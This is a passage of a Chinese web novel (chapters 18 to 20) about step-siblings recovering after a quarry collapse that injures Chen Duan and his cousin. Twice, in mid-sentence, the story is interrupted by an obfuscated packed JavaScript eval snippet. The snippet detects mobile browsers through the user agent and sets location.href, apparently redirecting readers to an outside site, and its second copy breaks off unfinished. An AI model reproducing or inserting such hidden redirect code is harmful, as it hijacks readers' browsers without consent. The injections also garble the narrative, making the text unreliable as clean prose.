赵长也听过,他擦头发的动作顿了顿,和赵兰兰对视一眼,两兄妹心照不宣,都在默默担心外出还没回来的孔净。 “姐应该没有看起来的那么傻吧……喂,陈端你干嘛?!”赵长话说一半,余光里一直站在窗边的身影忽然转身朝门外走去。 话音落地,陈端脚步一停,背对着站在檐下,赵长松了一口气,走过来,慷慨把用过的毛巾递给他。 陈端没接。 他半边身体在檐下,半边暴露在外,本来就已经淋湿,劲风斜裹着雨柱又将他从头淋个遍。 可他一点反应也没有。 冰冷的雨水压湿额发,顺着流到他的眼睛里,再从脸廓形成一条条细小水流,汇聚到下巴,悬坠到他些微发颤的右手以及指间紧握的手机上。 水浸湿按键机,屏幕上的短信字体在光线折射下有的大有的小。 “来……石料场、找你漂亮……姐姐?……孔净……?!!” 赵长费力辨清,脑袋还未消化这些字组成的含义,身旁人影猛然一闪,快速返回屋内拿了个什么东西,再转回眼,陈端已经冲进雨幕。 大雨如注,隐约辨出他右手上是一把……美工刀。 “操!!!” 赵长想到什么,毛巾一扔,也追了上去。 18. 第 18 章 看着阿禾被阿伯用三轮车载走,孔净正打算返回石厝,噼里啪啦,豆大的雨点就从天砸落。 小卖店老板娘好心给了孔净一张塑料膜,让她包在脑袋上挡一挡。 然而雨大风也大,聊胜于无,孔净以鸡妈妈造型跑回石厝,塑料膜里外都是湿的,她也是。 铁门是开着的,但是屋里没亮灯,屋檐下的排水沟里还扔了一条毛巾,孔净有些慌,拾起毛巾,一边解开塑料膜一边走进屋,“兰兰?” “姐姐!!”赵兰兰掀开蚊帐从床上跑下来。 孔净被她迎面扑个踉跄,稳住后拍拍她后背,“不好意思,我回来晚了。就你一个人吗?你哥和陈端呢?” 赵兰兰一手搂着芭比娃娃,一手搂紧孔净,仰头道:“回来又出去了。” 孔净以为是拖拉机找到了,但就算找了他们也不该再出去啊,这么大的雨。 “我身上都是湿的。”孔净把赵兰兰推开了点,伸手去摁电灯开关。 赵兰兰呜呜道:“停电了。” “嗯。”孔净心神不宁,雨水从窗户缝隙打进来,把窗前的地面都浇湿浇透了。 她找来干拖把,把那块地面存积的水汽吸了吸。 “这么大的雨,找找找,找个锤子找!” 门外忽然传来骂声。 孔净一抬头就看见李贤梅和孔大勇相继走了进来,天气太邪门,他们在中途把摩托车寄放在老乡家里,改乘公交车回来。 公交车站牌离石材厂足足有一公里路,没有挡雨工具,又心急丢失的拖拉机,两人冒雨走回来,狼狈得像是刚从阴沟里爬出来的。 李贤梅脸色惨白,见孔净也是从头湿到脚的造型,皱了皱眉,“你又是怎么搞的?” 孔净放回拖把,正想着怎么说,就听见孔大勇惊骇的大嗓门,“端端和长长呢?!” “他们……” 孔净没来得说完,一声震动传来,几个人都以为是打雷,不约而同看向外面,然而天黑得发沉,没有一丝光亮闪过的痕迹。 令人窒息的沉默过后,屋内突然爆发出一道哭声。 是赵兰兰被吓到。 李贤梅头疼,按着太阳穴坐到桌边,她叫孔净熬一锅红糖生姜水。 孔净愣神站着,过了好几秒才应声。 孔大勇站在门口朝外面张望,“这种鬼天气还在开采山石?……不对啊,刚才的声音不是从后头林子里传来的。” 他一拍大腿,“不对劲!不对劲!是厂子——” 正说着,就有工人从滂沱大雨中跑来,一边跑一边喊,风雨声太大,根本判断不出他在喊什么,只能看见他慌乱的手势,一直一直不断地朝石料场的方向指去。 孔大勇静静站着,工人越来越近,喊声穿过风雨断续落进耳朵里,他忽然转头,粗实的嗓音有些抖:“贤梅,石料场石头塌了……出、出人命了……!!” 倾盆大雨卷起浓湿的草木和土腥味,可除此之外,空气里还是能闻见淡淡的血腥味。 原本应该平置于两个石料之上的大石料歪斜倒塌,多米诺骨牌效应,碰倒旁边垒起的其他石料,停在前方的红色摩托后半截被压实,前半截匍匐在泥地里,像一只被拦腰斩断但仍苟延残喘的异形生物。 孔大勇赶到现场,张着嘴,雨水流进嘴巴,他用力吞了好几口唾沫,然后才如梦初醒,鼓红着眼睛以最大的声音呵斥还傻站着的工人,“狗日的去开叉车!先把压在底下的……人救出来!” 他不确定用“人”来指代困在倒塌石料下的身体是否准确,他脚下一软,鞋底擦着泥水踉跄几步,“啊……端端!!!” 李贤梅从后面死死抱住他的腰,不让他再往前,“等他们把人弄出来再说!你要是再出事,我和孔净怎么活!” 有工人打电话叫了救护车,但这种天气就算救护车从百十公里远的镇上赶来,一来一回,太耗时间。 老板得到消息开着小轿车来支援,一看见石料场上那辆被压得已经变形的红色摩托车,差点没站稳。 大家冒雨先把老板儿子抬进车厢后座,剩余伤员放进厂里的货车厢,车子相继开出石材厂,轮胎轧过水坑,卷起的泡沫都成虚影。 石厝里,一片昏暗,赵兰兰噙着眼泪抱紧芭比娃娃躺在床上睡着了。 孔净端一个矮板凳坐在床边守着她。 “轰隆!”又是一个巨雷。 赵兰兰在睡梦中被惊得四肢一弹,孔净把手伸进蚊帐轻拍了她两下,就像哄小婴儿入睡那样。 慢慢地,赵兰兰身体放松,再次进入沉睡。 风呜呜从房子缝隙钻进来,身上的湿衣服一直没换,里边的贴身衣物已经被体温烘干,迟来的,孔净抱紧双膝,感觉很冷。 身后发出鸣笛声,她转过头,才发现灶上的火一直没关,李贤梅要的姜汤已经熬好了。 孔净站起身,经过红色理石桌时顺手拿起那只黑白渐变的马克杯,然后再从碗柜里拿出其他几人惯用的茶缸,依次倒满姜汤。 滚水溢出杯缘,顺着杯身淌落到脚背上,孔净一惊,放下水壶,并不觉得很痛,她目光茫然,在水壶在马克杯之间扫了两眼。 她有点后悔,当时不应该贪便宜,下次,下次去镇上,不在地摊上淘了,她要找一家专门的店好好给陈端挑一只,没有缺口的杯子。 - 因为李贤梅要守着厂走不开,而孔大勇一直在医院没离开过。开学过后的第一个周末,孔净才被准许独自乘车去医院探望。 搬去塘上村的石材厂好几年,这还是孔净第二次来市区,上次是孔大勇刚承包石材厂没多久,他带着孔净来找在市里开卤菜店的表叔喝酒。 孔净记得表叔好像是自学成才,他去批发市场跟卖中药材的商铺老板说他要卤料包,能让人吃了上瘾的那种,商铺老板听了之后,隐晦地给了一个“我懂”的眼神,大手在藏在角落的尼龙袋里抓来抓去,“不上瘾,头给你!” 表叔拿着一包两百的独家秘方在出租屋里闭门钻研两个星期之后,带着已经掌握财富密码的自信,在附近菜市场租了个别人不要的偏僻门面,凭着十里飘香的实力的确在开业初期招揽来不少顾客。 那回孔大勇带孔净来,表叔很高兴,把展示柜里的招牌菜都拿出来招待。孔净吃好多,因为真的好香好入味。 然而回家第二天就起了满身红疹,小诊所的医生说是过敏,但没有实际证据证明和吃卤菜有关。 不过后来听说表叔有不少顾客也是吃了就全身痒、但越痒越想吃,表叔琢磨一阵,在没有预先通知的情况下关门大吉,连夜跑回老家改卖冷冻食品了。 于是,让人吃了一次就还想吃千百次的林氏“老卤”就此绝迹江湖。 孔净发散思维想着这些乱七八糟的事情,大巴车摇摇晃晃,她望着窗外的高楼大厦和车水马龙。 那场台风过后,东南沿海的夏季提前收尾,九月的阳光不再炽烈,透过车窗温柔照在她的脸上。 车子到站,孔净转乘公交车到市医院。医院很大,她兜兜转转才找到外科住院部。 楼层走廊上,孔大勇正因为私自在厕所抽烟被护士谴责,他笑嘻嘻的,连说不会再有下次。 余光瞥见孔净,赶紧以此为借口逃离。 他象征性朝孔净走来两步,“你妈呢?” “妈上午要收货,她说没时间。” 孔大勇没吭声,眉间的川字纹皱得很深。 孔净朝他身后一排病房看去,不确定陈端住哪间。 恰好右边第二间病房有人推门出来,“孔净,来了啊?两个弟弟听说你要来,等你好久了。” 孔小琼天性乐观,当时接到电话几乎要昏厥,但在赶来医院的路上听说没有生命危险,她抹掉脸上的鼻涕和泪:“还好还好,只是皮外伤……没事,只要还有气,养养就好了。” 她口中的“皮外伤”其实是左小腿骨折,但正如她所说,没被石料压成肉酱就是万幸,骨折什么的已经是菩萨保佑。 孔净跟着孔小琼走进病房,赵长躺在靠近门边的床上,左腿自膝盖以下打了石膏用绷带吊着,上半身很灵活,捧着一碗洗净的无籽葡萄,平时不会买这类高端水果,这是病号才有的特级贡品。 他不走寻常路地以投喂的方式用嘴去接,并且作势朝孔净丢来一颗,见她没反应,撇嘴道:“吓傻啦?” 孔小琼剜他,“我看你才是,受伤的不是腿,而是脑子。怎么越来越贫,连你姐也欺负。” “我哪儿敢欺负她。人家有亲弟弟保护。” “亲弟弟”三个字发音很贱。 孔小琼拿手指他,“再乱说,自己起来撒尿,我不扶你。” 她买了夜壶,赵长不用。 “有舅舅啊!”赵长说。 孔大勇就在门边,听见这话后立刻咧嘴笑着走进来,和孔小琼一人一边把赵长架起来。 这是一间四人间的普通病房,没有厕所,要去走廊另一端的公共卫生间。 病床之间的帘子都拉着,但是里头两张病床不时有家属走来走去,因此可以判断陈端就在隔壁床上。 孔净站在两张床之间的过道上,隔着一道帘子,不确定陈端是不是在睡觉。 但其实要知道他睡没睡,只需要走两步到床尾或者掀起帘子看一眼。 孔净却没这么做。 她抱着怀里的包,就这么站着。 米黄色的帘子透光,依稀可以看见病床上的人影轮廓,感觉又瘦了一圈。 一个病房似乎被分成了两部分,里边喧嚣,孔净所在的这边静谧。 “36号床,打针了!”护士推着治疗车进来,“叫什么名字?” “陈端。”虚飘的嗓音响起。 原来他没睡啊,孔净这么想着,面前的帘子被护士“刷”一下拉开半幅,帘子边缘轻轻晃动,她视线擦过,陈端微微偏转过脸,两人目光有一下没一下地撞上。 他脸色了无生气的冰白,瘦了的缘故,面部轮廓更为明显,五官因此相对放大一圈。 孔净有点惊奇,好像窥见一点他将来成年后变成年轻男人的模样。 不变的是他的眼睛,冷黑的色泽浸润在初秋的阳光里,眼神淡淡的,好像从不会因为任何人的到来、任何事的发生而引起任何动容。 “探病吗,你是他什么人?”护士倒推针管从药瓶里取药,一边朝孔净瞟来一眼。 “家、家属。”孔净说。 护士挑了下眉,“过来帮一下忙。” 他们长得一点不像,又是青春期少男少女,很容易让人想歪。 “哦,好。” 孔净没注意到护士的微表情,她左右看了下,把包放在床边桌上。 陈端整条左臂都打着石膏,蓝白病号服领口敞开两颗扣子,里面缠着绷带,冷白脖颈上有两道延伸至耳后的破皮已经结痂。护士让孔净把他右边衣袖挽起来,孔净绕到另一侧床边,弯腰照做。 病号服洗过很多次,摸着很薄,好像稍一用力就会坏掉,孔净动作很轻也很慢。护士站在她身后,一手举着针管,一手搭在治疗车上手指不耐烦地快速敲击,孔净听出来了,抿着唇加快速度。 陈端转过眼,静静看着她。 终于把衣袖平整挽至手肘以上,孔净动作一顿,护士耐心耗尽,“来来,家属让一让。” 孔净连忙往旁边站,视线却不受控地停留在陈端的手肘内侧。 那里青紫一片,是留置针和大小针头反复扎过留下的痕迹。 护士见怪不怪,快速往他手臂上扎了根橡皮压脉带,一手“啪啪”拍两下,另一手精准刺向血管,推针拔针,整个过程十秒不到。 “好了,来,家属帮忙按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317122|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,过两分钟不出血了再拿开。”护士丢掉针管,从治疗车上取一团消毒棉花,往陈端手臂上一按。 没等孔净接手,她就把车推走了。 “等一下……” 孔净伸手去按止血棉,陈端同时屈起胳膊,被孔净握住手腕制止了。 “我帮你。”孔净松松圈住他腕骨,可能是因为室内空调温度开得低,孔净感觉指节有点凉,以及,原来陈端看着瘦,骨骼却是大体量的那种,她不能完全圈住。 “有椅子。” 陈端忽然开口,声音比起刚才的虚飘,终于有点砂砾磨过的实感了。 “嗯。” 孔净余光扫一下,另一手将椅子扯到身后坐下。 气氛有点干,孔净垂眼盯着自己的手指以及隔着一团棉花的陈端的手臂。 “痛吗?”她问。 陈端说:“还好。” 孔净不信,眼皮撩起来看他。 陈端偏过脸,好像笑了一下,很淡,可以忽略不计的笑。 但孔净却因为他脸侧乍然一现的酒窝而松快下来。 “爸说,”孔净顿了下,“你手臂上的皮肉被石料刮掉了,刚从石料底下捞出来的时候连骨头都可以看见。” 怎么会不痛。 “我没看见,不知道。”陈端说。 孔净又看他,“你昏过去了,怎么可能看见。” “没印象。”陈端说,“比骨折好一点。” 孔净不喜欢他说起这则可怖事件时的无所谓态度,这让她想起那天陈端坐在石厝屋檐下说到死,一样的冷漠。 好像他真的期盼这个结局似的,孔净很反感。 她按着止血棉的手指不自觉往下压了压,陈端视线落在她脸上。 孔净不看他,指尖拈起止血棉,眼睛凑近了些,确定新鲜的细小针眼不会再往外冒血珠后,她侧身把止血棉丢进垃圾桶。 转过眼,陈端双唇微抿,目光停滞于病床半空。 “怎么了,哪里不舒服吗?”孔净心虚是不是自己刚才把他压痛了,毕竟他现在就是一个脆皮。 “……没。” 陈端隔了两秒才答。 说话时,右手臂轻轻往身体这侧靠了靠,手肘处皮肤被孔净呼吸扫过的感觉却并未因此消散。 “以后、别这样了。”孔净看着他,轻声说。 “哪样?”陈端仍旧看着虚空。 孔净抿了下唇,“不知道……我希望我们都好好的。” 这回陈端没应声了。 什么是好好的,从来没有人教过他。 赵长像个假人模特,被孔大勇和孔小琼一左一右又架了回来。 这半边病房也一瞬热闹起来。 赵长说出院以后要去蹦极,孔大勇问什么是蹦极,孔小琼说跳楼比蹦极来得更直接,反正结果都一样,说完又呸呸呸,板起脸让赵长以后最好不要这么皮,不然就拿根绳子栓他。 “成狗了我。”赵长说。 “你比狗都不如,人家狗起码知道哪里危险就躲得远远的!” 赵长沉默两秒,“汪汪……” 孔小琼又笑又拿他没办法。 他们进来之后,孔净起身把椅子让给了孔大勇,她挨在陈端的床尾,低头用指尖轻轻抠着床挡,不太能也不怎么愿意插进他们的谈笑里。 陈端也没说话,闭上眼睛像是睡着了。 “那两个孩子怎么样?张老板家的那个是不是该出院了?” 孔小琼突然转过身,问孔大勇。 “昨天就出院了,他命大,摩托车压成那样,人还只是擦伤。”孔大勇想抽烟,又怕在病房里引起公愤,一支烟夹在指间一直做着往嘴边送的动作,“但是另外那个情况不太好,进了几天重症监护室,身体倒是没什么大问题,精神……” “那么严重?”孔小琼再次后怕起来,没有预兆地伸手“啪”一下,“听到没有,以后给我老实点!” 赵长被亲妈一巴掌打在前额,他上半身一弹,“你打之前能不能给个信号?” 孔小琼管教他:“你们玩心也太重了,又是台风又是雷暴雨,怎么想到跑石料场去钻洞子?真的是狗啊!” 住院以来,赵长听了十几茬类似的话,耳朵都要起茧子。 孔小琼还是闹不明白,“你和端端啥时候认识的张老板的儿子,以前怎么没看你们一起出去玩过?” 赵长不说话,孔小琼转头,陈端在睡觉,于是,“孔净,你知道吗?” “啊?” 孔净忽然被提问,一抬眼,同时面对孔小琼和孔大勇两道目光质询,赵长在斜对面冲她打手势。 “……不知道。”孔净说。 她看见赵长对她竖起大拇指。 孔净的回答在孔小琼和孔大勇意料之中,因为谁都知道孔净文静,除了学习,其他时间基本都花在帮李贤梅做家务上,这种懂事在男孩子看来其实是无趣,两个弟弟有什么又怎么会和她讲。 孔小琼也只是有此一问,她实际上并没有质疑过赵长所说的当天事发经过:张老板的儿子张天胆大妄为,联合朋友把厂里的拖拉机开走,支开了厂里的工人。陈端和赵长并不知道是他们偷走了拖拉机,他们和张天认识,张天带朋友来石材厂玩,赵长和陈端陪着,没想到遇上台风和雷雨,石料倒塌,他们四个不幸中招。 所以,只是一场意外。 孔净对这个解释保持缄默。 但更让她觉得离奇的是,不止赵长这么说,张天和刚从重症监护室旅游一圈回来的杨皮——虾皮——也持同样口吻。 哪天,到底发生了什么? 她视线没有实重地移向正对面躺在床上的少年。 陈端一直闭着眼睛,这个时候突然抬起右臂搭在眉骨处,大半张脸被挡住。 孔净:…… 19. 第 19 章 孔净找准没人的时候私下问赵长。 赵长不太愿意讲,和面对大人时的插科打诨不同,他的表情混杂着惊悚和后怕。 耐不住孔净一再追问,赵长吞吐半天,突然问道:“姐,你知道鱼生吗?” “……什么?” “没什么,打个比喻,我觉得杨皮在陈端眼里就是一条鱼……”赵长咽了几下口水,瞳孔涣散,好像那天的场景再次在眼前上演,空气里满是被雨水冲淡的土腥气和血腥味,杨皮惊恐的惨叫和张天的呕吐声也犹在耳侧。 赵长说不下去,顿了好几秒,他才又开口道,“陈端真疯。” 这四个字不带任何中二口吻,是发自心底的陈述句。 孔净逼着自己不要去联想,却忍不住从心底蒸腾起寒意,“那石料坍塌又是怎么回事?” “这个真的是意外,木枕不稳。”赵长看着孔净,“姐,陈端跟那个叫杨皮的有仇吗?他为什么要下这么狠的手啊?” 孔净微微睁大眼睛,她并不知道那天杨皮给陈端发过短信,并且内容是以她为诱饵钓陈端去石料场。 赵长还在说着什么,孔净转过脸,去看旁边那张空着的病床,陈端不在,被孔小琼和孔大勇用轮椅推着去做检查了。 过了差不多大半个月,也就是九月下旬,陈端和赵长才相继出院。 这天是周末,孔大勇租了辆的士把陈端直接从市医院接回石厝。李贤梅依旧在忙厂里的事,但是给了超出平常的菜钱让孔净提前把饭做好。 孔净只在小卖店买了点时蔬,剩余的钱不够,自己又添了点,拿去给阿禾,让她帮忙在村里卖了只真正在田里散养的老鸭。 她煲了一锅野生菌菇老鸭汤,浮面的油小心用漏勺撇掉,浓郁香味连底下厂里的嬢嬢都能闻见。 孔大勇搀着陈端进屋,还没到午饭时间,他站在旁边抽了一支烟后就背着手去厂里找人吹牛去了。 孔净问陈端,“坐着会不会不舒服?要不要躺一下?” 不待陈端回答,孔净继续说:“床我已经挪好了,在你完全康复之前我睡上铺,你睡下铺。” 陈端转头,看见铁架床下铺蚊帐整齐用挂钩撩起,床上被褥叠成豆腐块堪比军训时期的样板床,黑白格子三件套很新,不是他以前睡的那套。 也是奇怪,陈端什么都没说,孔净却知道他在想什么。 她甩甩手,走到床边,说:“我那次去市里看你和赵长,回来路上顺道……嗯,专门买的。” 她两手都是手枪姿势一同指向床上的四件套,为了活跃气氛故意做出来的俏皮姿态,顿了顿,她笑着说:“出院礼物,欢迎回家。” 陈端目光似雪片一样落在孔净的脸上和她手指的地方,“谢谢。” 孔净本来还怕陈端不喜欢别人自作主张,但看他这样应该不是生气的样子,心里暗自松口气。 “要喝水吗?”孔净问。 陈端想说不用,孔净已经走到桌边拎起水壶,她转过身,走到陈端面前把手里的马克杯递给他。 陈端垂眼,视线顿了顿。 孔净拇指在马克杯杯缘轻轻一划,很自然地笑道:“本来想重新再给你买一个杯子的,但是我觉得还是这个更配你,缺口已经补上了,我向瓷砖厂嬢嬢要的材料,我手艺不好,摸起来还是有点不平,不过不影响使用。” 那个三角形缺口被孔净用树脂胶小心填补上,突发奇想,点涂成红色釉面,经过高温烧制蜕变成橘红,夏天晚霞的颜色。 她几句话略过修补过程,但实际上花了很多心思和工序。 陈端接过杯子,没有送到嘴边,右手端着,手肘搭在后面的桌沿上,他轻垂下眼,静静看着杯缘上那绚丽又渺小的一点。 “为什么要补?”他突然问。 “啊?旧的扔了怪可惜,我想你或许已经习惯用它了……”孔净又说,“我这回真不是抠门,如果你不想要它,我再给你买个新的。” 说着她就伸手去拿陈端手里的杯子,被陈端让开了。 “不用,这个挺好。” 陈端喝一口杯子里的水,舌尖有点甜。 孔净说:“是菊花茶,阿禾阿嬷给的,我加了一点蜂蜜。” 陈端点头,又将杯子送到嘴边,很慢很慢地喝着。 孔净轻歪了下头,看着他。 “你不高兴吗?还是说手臂还在痛,不舒服了?” 陈端摇头,抬眼,正要回答,瞥见窗外的人,他轻声说:“梅姨回来了。” 这是一个警告性质的提醒。 以前,他们都有默契——以孔净为主导的默契——要在人前特别是李贤梅面前保持距离。 陈端以为孔净会跟以前一样立即转过身,保持冷淡表情假装在做别的什么事。 可是孔净没有,她转头看一眼,点点头,没有刻意拉开和陈端之间的距离,而是很自然地冲已经走到门外的人喊了声,“妈。” 李贤梅站在檐下扶着门框脱掉脚上的胶鞋,一晃眼看见屋内两人一坐一站,距离挺近,顿了下,第一时间没有说什么,而是让孔净帮她把拖鞋拿来。 孔净把凉拖放到李贤梅面前,听见她问:“你爸呢?” “去厂里了。”孔净说。 李贤梅把换下来的胶鞋拿去简棚里简单刷了刷,放在屋檐下沥干,进屋,给自己倒了杯水,然后才一边喝一边看向陈端。 陈端左手臂还是整个缠着白色绷带,浅白色T恤显得有点大,底下的蓝色牛仔裤管也空空的,遭大罪,瘦得有点过了。 “在家休息一阵还是下周就去学校?”李贤梅的语调听起来比平时要软和一点。 陈端说:“下周就去。” 李贤梅点一下头,找不出话说了,拿手机准备打电话喊孔大勇回来吃午饭,视线随意一瞥,看见陈端手上的杯子。 这段时间陈端和孔大勇都不在,家里只她和孔净,她一边忙厂里的事,一边莫名在心里感到一丝病态的松快,孔净周末在屋里一坐就是一整天,埋头捣鼓些什么,她根本没注意。 这会儿看见了马克杯,联想到孔净放在桌上剩下的修补工具,李贤梅才知道这些天她在忙什么。 陈端食指挪移盖在那处橘红杯缘上,李贤梅去看孔净,“你专门补的?” 换做以往,孔净会沉默,会顾左右而言他,就算答案是肯定,只要她不当面承认,李贤梅或许能睁只眼闭只眼,不就地发作。 可是孔净点点头,“嗯。” 简简单单一个字,意味着当面背叛。 李贤梅盯着她,像是从来不认识这个女儿。 孔净没有闪躲,她抿了下唇,问道:“要我去厂里找爸回来吗?” “哪里敢指望你!” 李贤梅气息不稳,大步走出屋子。 她站在外面给孔大勇打电话,为了节省电话费以前都是连通之后就挂断,这回她一直打到孔大勇接为止,声音劈头响起,“家里的饭你吃不吃?不吃说一声,以后都不煮你的!” 她几乎从不主动对丈夫发起攻击,不论是语言还是行动上,她一贯是隐忍的、受害的。 那头,孔大勇不知接了句什么,李贤梅“啪”一下挂断,捏着手机掐腰站在檐下,脸色铁青铁青。 屋内,孔净利落又安静地把饭菜都端上桌,不小心把汤汁洒到桌上,她低头用抹布擦了又擦。 察觉落在自己身上的视线,她撩起眼皮,斜对面陈端握着杯子的指节微微收紧了一瞬,冷黑的眼睛在秋光的照耀下充满不解,与挣扎的温柔。 孔净对他笑了笑。 周一早晨,孔大勇要骑摩托车送陈端去学校,顺道也带上孔净。 “我自己骑车吧。”孔净是觉得摩托车后座坐两个人不方便,她怕自己一不小心就碰到陈端,弄疼他。 陈端也说不用,“一只手也可以骑车。” “那怎么行!”孔大勇瞪大眼睛,这次事故之后他对陈端的宝贝程度更胜从前,说是像护着眼珠子一样也不为过。 但陈端还是坚持。 孔大勇绷着脸,不让他走。 气氛就这么僵住。 李贤梅端着一碗稀粥站在门内,用一种讽刺的眼神看着这一幕。 孔净推着自己的自行车站在屋前,走也不是,不走也不是。 最后轻声提议道:“要不然我骑车载你,可以吗?” 话音落地,其余三人都转头看她。 孔净很平稳地说:“我骑慢一点,应该没事。” 屋内传来李贤梅摔碗的声音。 陈端蹙眉看着孔净。 孔净轻吸口气,然后笑着跟孔大勇保证,“陈端现在瘦了,我载他一点问题都没有。爸你放心。” 孔大勇显然不可能放心,但陈端就是不让他骑摩托车送又有什么办法。 不过他的确非常乐意看到孔净和陈端两姐弟相处融洽。 “骑慢点,注意看车。”他只好松口。 “好。” 孔净把车推到路边,自己先坐上去,等了几秒,见陈端没跟上来,就转头看他,“来呀。” 从石厝门口走到路边不过七八米,早晨的阳光干净柔和如同新生,孔净两手掌住龙头坐在前座,一只脚点地,另一只脚踩在踏板上,转头看过来的面孔边缘被光线晕染出毛边,她微微弯起嘴角,小猫一样的眼眸澄澈又坚定。 很短的距离,却好像走了很久,陈端慢慢走向孔净,身影一点一点被阳光照亮。 “坐好了吗?” “……嗯。” 车子在土路上有些颠簸,孔净把紧龙头小心避过肉眼可见的坑洼,尽管已经尽最大限度降低“震感”,孔净还是担心陈端一不小心就被颠下车。 “你要不要把一下呀?”她的意思是陈端不要两手都放空,没受伤的右手可以找个地方把住。 身后的少年没有应声,孔净心道不会睡着了吧?听说大病初愈的人说睡就睡…… 她两手放在车前叉上,还没使劲就感觉到一只手掌慢慢环上来,掌心扣在她腰际。 很细微的感觉。 因为隔着蓝白校服,并且那只手掌根本就没用任何力道,指腹和掌心只是象征性地悬空擦着她腰侧的校服。 “拜托,你要抓就抓牢一点啊。” 孔净干脆空出一只手,反手一握。 她的手覆在陈端的手掌上,往内一推,于是陈端的指节就由虚变实,没有任何缝隙真真正正扣住了孔净的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“去一个我们都喜欢的城市,在同一个学校念书,早晨如果我起不来你就帮我带早饭,晚上要是你想去操场打球我就去给你当拉拉队队长呀!”孔净说得理所当然。 陈端微微眯起眼睛,脑海里不由自主浮现孔净所描绘的场景。 “听起来还行。”他脸侧的酒窝出现了一点轮廓。 “不过你成绩那么烂……”孔净幽幽叹气。 “……” 绕不过这茬了。 “你想考哪里?大学。”陈端开口了。 孔净闻言在前面不动声色地抿住笑着,然后才很自然地回说:“还没想好,不过可以往北边城市考虑,我想去看雪,大学嘛最少也应该是个985……吧。” 额,有点心虚,海口一下夸大了。 她往后看一眼,很通情达理地改口道:“我们一起的话,考个211也行。” 身后传来一道笑声,很轻,约等于气音,但是精准表达了这道声音的主人是被气笑的。 孔净睁大眼睛,心说自己这道强心剂会不会太猛,……不会跳车吧? 孔净捏住车前刹,车子还没停稳就转过身。 陈端不妨,因为惯性身体前扑,鼻梁撞上孔净的后背,整张脸埋进蓝白校服,口鼻里全是女孩用过的洗衣皂留下的淡淡馨香,以及……一点别的什么香气。 孔净“啊”了一声。 陈端立即抬眼,“撞痛你了?” “不是啦,你手……”孔净确定他打着绷带的左手没有被碰到,松口气的同时不自觉扭了扭上半身,“好痒!你抓太紧了!” 陈端愣了一下,才发觉自己扣在她腰侧的右手因为紧张而发力,校服面料被他五指弄皱,掌心感到面料里面的柔软肌肤。 他像是被烫到,一下松开孔净,右手垂在身侧,修长食指在晨曦中不自觉轻颤。 孔净挠了挠腰上的肉,准备继续踩动踏板,又顿住,转头看向后座上的人。 陈端表情没什么变化,眼里微小的涌动因为克制而迅速消散。 “?”他也看孔净。 孔净颇为无语,“抓好。” “……嗯。” 自行车重新往前移动,陈端轻轻抬起右手,小心翼翼连他自己都没发觉,指节一点一点贴上女孩的校服,直至因为车子轻轻晃动掌心完全感受着校服面料的摩挲。 可他也只是贴合着孔净腰侧的校服,不敢再往前一寸。 但这已经够了。 他垂着眼,整张脸沉浸在孔净身后的光影里,两边的酒窝终究冲破藩篱,在晨光中释放。 “说好了,去北方看雪。”他忽然开口。 孔净一怔,随即纠正他:“拜托,明明说的是考同一所大学,看雪是顺带。” “意思差不多。” “哪里差不多,是差很多。” “我觉得差不多。” “……算了。”孔净决定不跟病号犟,“看雪就看雪。但是你要不要认真念一下书?每次看年级排名,再听阿禾提到你是我弟,啊,真的有点丢脸诶!” “……嗯。” 20. 第 20 章 初中最后一年孔净加足马力冲刺,陈端大幅度降低逃课频率,养伤的同时似有好好向学的迹象。 但因为差得太多,就算他再聪明也无法在短时间内把成绩拔高到和孔净同一梯队。 孔净本来已经不抱希望两人能上同一个高中,但是中考前夕,孔大勇突然在饭桌上宣布等孔净和陈端考完试就举家搬去临水镇——距离梅村几百公里、管辖权属于另一个市的石材厂聚集地。 并且,孔大勇已经提前托人去临水镇的清安高中打好关系,只待搬过去之后,孔净和陈端九月份直接入学。 据孔净所知,清安高中是普高,所以孔大勇口中的“花大价钱托人”可能就是让那边的石材厂老板帮忙给学校招生办老师送两条华子。 但无论普高还是重高,孔净和陈端必须入学是既定事实。 孔净从小见惯了孔大勇的霸|权主义,知道反抗没有意义,也就不做多余动作。 “会不开心吗?”陈端问孔净。 “有一点,但还好。” 孔净调解情绪的能力向来很强。 “只是一点吗?” “对啊!”孔净粲然道,“因为可以和你一起上一个高中呀!又没人规定普高的学生一定考不上好大学!我努努力,你也努努力,三年后还是可以一起上98……额,211嘛!” 陈端垂眼一笑,额发遮挡,黑眸里盛满温柔亮光。 他不关心上什么学校,抑或上不上学,但未来三年、七年甚至更久,能和孔净待在一起,光是听起来就很美好。 尽管孔大勇说中考成绩已经不重要,但孔净还是监督陈端一起按时参加考试、认认真真答题。 他们考完没多久,李贤梅就开始收拾东西,石厝被翻了个底朝天,在这里住了八九年,沉积下来不少舍不得丢但实际没什么用的破铜烂铁,孔净帮着把东西归类,每拿一件就问一句,“这个还要吗?” 李贤梅坐在小山似的行李堆里,抬头看一眼,“怎么不要?等要用的时候你拿钱买啊?……算了,扔了……” 孔大勇早晨就找理由溜去别处躲清闲了,孔净把李贤梅说不要的东西单独放一边,陈端在外面拆自行车,到时候好放在货车厢里一起带走。 为了方便干活,他只穿了件白色工字背心配黑色休闲短裤,蹲在地上拆零件时阳光从旁边黄葛树漏下来照在他身上。 经过快一年的修养,陈端相比去年刚出事那会儿要高也要精壮一些,五官轮廓更为清晰出挑。 清理出来的不要的东西在旁边码成一堆,有些碍事,孔净正准备把它们搬出去,陈端就从外面进来了。 孔净什么也没说,他也没问,俯身利落把东西塞进一条破了洞的大号蛇皮口袋里,拎着就又出去了。 